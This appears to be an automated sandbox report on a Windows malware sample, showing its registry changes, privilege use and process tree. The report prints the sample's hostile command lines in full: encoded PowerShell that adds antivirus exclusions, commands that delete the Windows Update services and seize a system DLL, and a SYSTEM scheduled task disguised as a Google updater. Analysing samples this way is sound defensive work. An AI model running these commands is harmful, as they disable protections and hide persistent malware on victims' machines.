\REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "407" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Discrete;Continuous" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = 322d9a43ff74693161317f9e26a7d6bb591a6f276432e10543a70c26e1b357a5 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\take-realprize.life\Total = "16" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileNextUpdateDate = "364006611" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\MrtCache MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Adult" MicrosoftEdgeCP.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 3604 reg.exe 4460 reg.exe 3972 reg.exe 4448 reg.exe 4924 reg.exe 5092 reg.exe 4612 reg.exe 3952 reg.exe 4692 reg.exe 2880 reg.exe 4508 reg.exe 3588 reg.exe 3640 reg.exe 2036 reg.exe 1564 reg.exe 3208 reg.exe 1460 reg.exe 3092 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exepid process 3216 powershell.exe 3216 powershell.exe 3216 powershell.exe 4748 conhost.exe 1308 powershell.exe 1308 powershell.exe 1308 powershell.exe 8 powershell.EXE 8 powershell.EXE 8 powershell.EXE 1200 powershell.exe 1200 powershell.exe 1200 powershell.exe 1200 powershell.exe 164 conhost.exe 164 conhost.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe 4324 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 624 -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
MicrosoftEdgeCP.exepid process 4844 MicrosoftEdgeCP.exe 4844 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.execonhost.exepowercfg.exepowershell.EXEpowercfg.exeMicrosoftEdge.exepowercfg.exepowershell.exetakeown.exeMicrosoftEdgeCP.exedescription pid process Token: SeDebugPrivilege 3216 powershell.exe Token: SeIncreaseQuotaPrivilege 3216 powershell.exe Token: SeSecurityPrivilege 3216 powershell.exe Token: SeTakeOwnershipPrivilege 3216 powershell.exe Token: SeLoadDriverPrivilege 3216 powershell.exe Token: SeSystemProfilePrivilege 3216 powershell.exe Token: SeSystemtimePrivilege 3216 powershell.exe Token: SeProfSingleProcessPrivilege 3216 powershell.exe Token: SeIncBasePriorityPrivilege 3216 powershell.exe Token: SeCreatePagefilePrivilege 3216 powershell.exe Token: SeBackupPrivilege 3216 powershell.exe Token: SeRestorePrivilege 3216 powershell.exe Token: SeShutdownPrivilege 3216 powershell.exe Token: SeDebugPrivilege 3216 powershell.exe Token: SeSystemEnvironmentPrivilege 3216 powershell.exe Token: SeRemoteShutdownPrivilege 3216 powershell.exe Token: SeUndockPrivilege 3216 powershell.exe Token: SeManageVolumePrivilege 3216 powershell.exe Token: 33 3216 powershell.exe Token: 34 3216 powershell.exe Token: 35 3216 powershell.exe Token: 36 3216 powershell.exe Token: SeDebugPrivilege 4748 conhost.exe Token: SeShutdownPrivilege 2644 powercfg.exe Token: SeCreatePagefilePrivilege 2644 powercfg.exe Token: SeShutdownPrivilege 8 powershell.EXE Token: SeCreatePagefilePrivilege 8 powershell.EXE Token: SeShutdownPrivilege 4020 powercfg.exe Token: SeCreatePagefilePrivilege 4020 powercfg.exe Token: SeDebugPrivilege 2776 MicrosoftEdge.exe Token: SeDebugPrivilege 2776 MicrosoftEdge.exe Token: SeDebugPrivilege 2776 MicrosoftEdge.exe Token: SeDebugPrivilege 2776 MicrosoftEdge.exe Token: SeShutdownPrivilege 4796 powercfg.exe Token: SeCreatePagefilePrivilege 4796 powercfg.exe Token: SeDebugPrivilege 1308 powershell.exe Token: SeTakeOwnershipPrivilege 3772 takeown.exe Token: SeDebugPrivilege 4384 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4384 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4384 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4384 MicrosoftEdgeCP.exe Token: SeIncreaseQuotaPrivilege 1308 powershell.exe Token: SeSecurityPrivilege 1308 powershell.exe Token: SeTakeOwnershipPrivilege 1308 powershell.exe Token: SeLoadDriverPrivilege 1308 powershell.exe Token: SeSystemProfilePrivilege 1308 powershell.exe Token: SeSystemtimePrivilege 1308 powershell.exe Token: SeProfSingleProcessPrivilege 1308 powershell.exe Token: SeIncBasePriorityPrivilege 1308 powershell.exe Token: SeCreatePagefilePrivilege 1308 powershell.exe Token: SeBackupPrivilege 1308 powershell.exe Token: SeRestorePrivilege 1308 powershell.exe Token: SeShutdownPrivilege 1308 powershell.exe Token: SeDebugPrivilege 1308 powershell.exe Token: SeSystemEnvironmentPrivilege 1308 powershell.exe Token: SeRemoteShutdownPrivilege 1308 powershell.exe Token: SeUndockPrivilege 1308 powershell.exe Token: SeManageVolumePrivilege 1308 powershell.exe Token: 33 1308 powershell.exe Token: 34 1308 powershell.exe Token: 35 1308 powershell.exe Token: 36 1308 powershell.exe Token: SeIncreaseQuotaPrivilege 1308 powershell.exe Token: SeSecurityPrivilege 1308 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exepid process 2776 MicrosoftEdge.exe 4844 MicrosoftEdgeCP.exe 4844 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exesetup.execonhost.execmd.execmd.exedescription pid process target process PID 3096 wrote to memory of 68 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe setup.exe PID 3096 wrote to memory of 68 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe setup.exe PID 3096 wrote to memory of 4280 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 3096 wrote to memory of 4280 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 3096 wrote to memory of 4280 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 3096 wrote to memory of 4292 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 3096 wrote to memory of 4292 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 3096 wrote to memory of 4292 3096 d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe cmd.exe PID 68 wrote to memory of 4748 68 setup.exe conhost.exe PID 68 wrote to memory of 4748 68 setup.exe conhost.exe PID 68 wrote to memory of 4748 68 setup.exe conhost.exe PID 4748 wrote to memory of 3216 4748 conhost.exe powershell.exe PID 4748 wrote to memory of 3216 4748 conhost.exe powershell.exe PID 4748 wrote to memory of 4928 4748 conhost.exe cmd.exe PID 4748 wrote to memory of 4928 4748 conhost.exe cmd.exe PID 4748 wrote to memory of 588 4748 conhost.exe cmd.exe PID 4748 wrote to memory of 588 4748 conhost.exe cmd.exe PID 4928 wrote to memory of 2364 4928 cmd.exe sc.exe PID 4928 wrote to memory of 2364 4928 cmd.exe sc.exe PID 588 wrote to memory of 2644 588 cmd.exe powercfg.exe PID 588 wrote to memory of 2644 588 cmd.exe powercfg.exe PID 4928 wrote to memory of 2572 4928 cmd.exe sc.exe PID 4928 wrote to memory of 2572 4928 cmd.exe sc.exe PID 4928 wrote to memory of 4008 4928 cmd.exe sc.exe PID 4928 wrote to memory of 4008 4928 cmd.exe sc.exe PID 588 wrote to memory of 8 588 cmd.exe powershell.EXE PID 588 wrote to memory of 8 588 cmd.exe powershell.EXE PID 4928 wrote to memory of 4664 4928 cmd.exe sc.exe PID 4928 wrote to memory of 4664 4928 cmd.exe sc.exe PID 588 wrote to memory of 4020 588 cmd.exe powercfg.exe PID 588 wrote to memory of 4020 588 cmd.exe powercfg.exe PID 4928 wrote to memory of 4756 4928 cmd.exe sc.exe PID 4928 wrote to memory of 4756 4928 cmd.exe sc.exe PID 588 wrote to memory of 4796 588 cmd.exe powercfg.exe PID 588 wrote to memory of 4796 588 cmd.exe powercfg.exe PID 4928 wrote to memory of 5092 4928 cmd.exe reg.exe PID 4928 wrote to memory of 5092 4928 cmd.exe reg.exe PID 4928 wrote to memory of 1460 4928 cmd.exe reg.exe PID 4928 wrote to memory of 1460 4928 cmd.exe reg.exe PID 4748 wrote to memory of 1308 4748 conhost.exe powershell.exe PID 4748 wrote to memory of 1308 4748 conhost.exe powershell.exe PID 4928 wrote to memory of 3604 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3604 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3640 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3640 4928 cmd.exe reg.exe PID 4928 wrote to memory of 2036 4928 cmd.exe reg.exe PID 4928 wrote to memory of 2036 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3772 4928 cmd.exe takeown.exe PID 4928 wrote to memory of 3772 4928 cmd.exe takeown.exe PID 4928 wrote to memory of 4528 4928 cmd.exe icacls.exe PID 4928 wrote to memory of 4528 4928 cmd.exe icacls.exe PID 4928 wrote to memory of 1564 4928 cmd.exe reg.exe PID 4928 wrote to memory of 1564 4928 cmd.exe reg.exe PID 4928 wrote to memory of 4460 4928 cmd.exe reg.exe PID 4928 wrote to memory of 4460 4928 cmd.exe reg.exe PID 4928 wrote to memory of 4612 4928 cmd.exe reg.exe PID 4928 wrote to memory of 4612 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3208 4928 cmd.exe reg.exe PID 4928 wrote to memory of 3208 4928 cmd.exe reg.exe PID 4928 wrote to memory of 4536 4928 cmd.exe schtasks.exe PID 4928 wrote to memory of 4536 4928 cmd.exe schtasks.exe PID 4928 wrote to memory of 2368 4928 cmd.exe schtasks.exe PID 4928 wrote to memory of 2368 4928 cmd.exe schtasks.exe PID 4928 wrote to memory of 652 4928 cmd.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe"C:\Users\Admin\AppData\Local\Temp\d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\setup.exe"C:\Windows\Temp\setup.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\Temp\setup.exe"3⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAdABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAdwB4AGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdwBvAGgAdwAjAD4A"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f5⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG8AZwBvACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEcAbwBBAGEAZwBCAHIAQQBDAE0AQQBQAGcAQQBnAEEARgBNAEEAZABBAEIAaABBAEgASQBBAGQAQQBBAHQAQQBGAEEAQQBjAGcAQgB2AEEARwBNAEEAWgBRAEIAegBBAEgATQBBAEkAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVQBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQQBnAEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAGMAdwBCAGMAQQBFAGMAQQBiAHcAQgB2AEEARwBjAEEAYgBBAEIAbABBAEYAdwBBAFEAdwBCAG8AQQBIAEkAQQBiAHcAQgB0AEEARwBVAEEAWABBAEIAMQBBAEgAQQBBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQgB5AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDADAAQQBWAGcAQgBsAEEASABJAEEAWQBnAEEAZwBBAEYASQBBAGQAUQBCAHUAQQBFAEUAQQBjAHcAQQBnAEEARAB3AEEASQB3AEIAMQBBAEcARQBBAGMAUQBBAGoAQQBEADQAQQAiACcAKQAgADwAIwB0AHIAaAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHQAbAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHUAdABrAGUAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwB6AGIAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABzAGUAdAB1AHAALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBhAGMAdgAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAagBvAHgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="4⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\Temp\lol.bat" "2⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\Temp\run.bat" "2⤵
- Drops startup file
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
